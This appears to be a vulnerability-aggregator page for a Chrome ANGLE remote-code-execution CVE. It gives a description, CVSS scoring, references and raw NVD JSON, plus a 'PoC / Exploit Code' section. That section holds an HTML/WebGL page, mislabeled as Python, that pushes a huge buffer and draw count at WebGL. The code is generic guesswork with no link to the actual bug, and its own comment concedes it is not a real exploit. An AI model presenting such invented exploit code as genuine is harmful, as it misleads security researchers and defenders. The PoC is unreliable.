CVE-2026-9969

Description

Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9969: Google Chrome ANGLE RCE
This PoC demonstrates a crafted HTML page attempting to trigger the vulnerability.
Note: Actual exploitation requires specific memory layout and heap grooming.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9969 PoC</title>
</head>
<body>
    <h1>Testing CVE-2026-9969</h1>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        // Get WebGL context from canvas
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');
        
        if (gl) {
            console.log("WebGL context initialized. Attempting to trigger vulnerability...");
            
            // Create a buffer and bind it
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Crafted input: Attempting to supply a large or malformed data array
            // to trigger insufficient validation in ANGLE
            const malformedData = new Float32Array(0x100000); 
            gl.bufferData(gl.ARRAY_BUFFER, malformedData, gl.STATIC_DRAW);
            
            // Create shader program
            const vsSource = `
                attribute vec4 aVertexPosition;
                void main() {
                    gl_Position = aVertexPosition;
                }
            `;
            const vertexShader = gl.createShader(gl.VERTEX_SHADER);
            gl.shaderSource(vertexShader, vsSource);
            gl.compileShader(vertexShader);
            
            const program = gl.createProgram();
            gl.attachShader(program, vertexShader);
            gl.linkProgram(program);
            gl.useProgram(program);
            
            // Attempt to draw with parameters that might trigger the overflow
            // Using a very large count value based on the vulnerability description
            gl.vertexAttribPointer(0, 4, gl.FLOAT, false, 0, 0);
            gl.enableVertexAttribArray(0);
            
            // This call may trigger the RCE if the version is vulnerable
            gl.drawArrays(gl.TRIANGLES, 0, 0x7FFFFFFF);
        } else {
            console.log("WebGL not supported.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9969
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9969
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9969/
[4] VulDB https://vuldb.com/cve/CVE-2026-9969
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/506550494

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9969", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:55.117", "lastModified": "2026-05-29T14:16:34.500", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/506550494", "source": "[email protected]"}]}}